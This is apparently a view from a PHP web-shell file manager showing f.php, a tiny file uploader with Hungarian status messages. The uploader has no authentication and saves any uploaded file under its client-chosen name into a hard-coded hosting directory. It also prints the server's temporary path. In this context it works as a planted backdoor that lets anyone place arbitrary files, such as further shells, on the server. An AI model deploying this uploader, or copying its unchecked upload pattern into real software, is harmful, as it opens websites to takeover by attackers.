Viewing file: f.php (981 B) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<form name=form1 enctype=multipart/form-data method=POST action=> <input type=hidden name=MAX_FILE_SIZE value=4000000> <input type=file name=file size=30 style="font-family:tahoma; background-color:#d38569; border:1px solid #d99780; color:#bb4419"> <input type=Submit value=Feltöltés style=" font-family:tahoma; background-color:#d38569; border:1px solid #d99780; color:#bb4419"> </form>
<?php
if(isset($_FILES[file])){ $mappa = "../../../../atw.hu-users/g/e/gerydeft/tmp/"; $d=$_FILES['file']['name']; if($_FILES['file']['tmp_name'] != "" && $d!=""){ print($mappa."/".$_FILES['file']['tmp_name']); if (move_uploaded_file($_FILES['file']['tmp_name'],$mappa.$d)) print "<script>document.getElementById('cnt').innerHTML='Sikeres fájlfeltöltés!'</script>"; else print "<script>document.getElementById('cnt').innerHTML='Sikertelen fájlfeltöltés!'</script>"; }else print("<script>document.getElementById('cnt').innerHTML='Hibás fájl név vagy útvonal.'</script>");
} ?>
|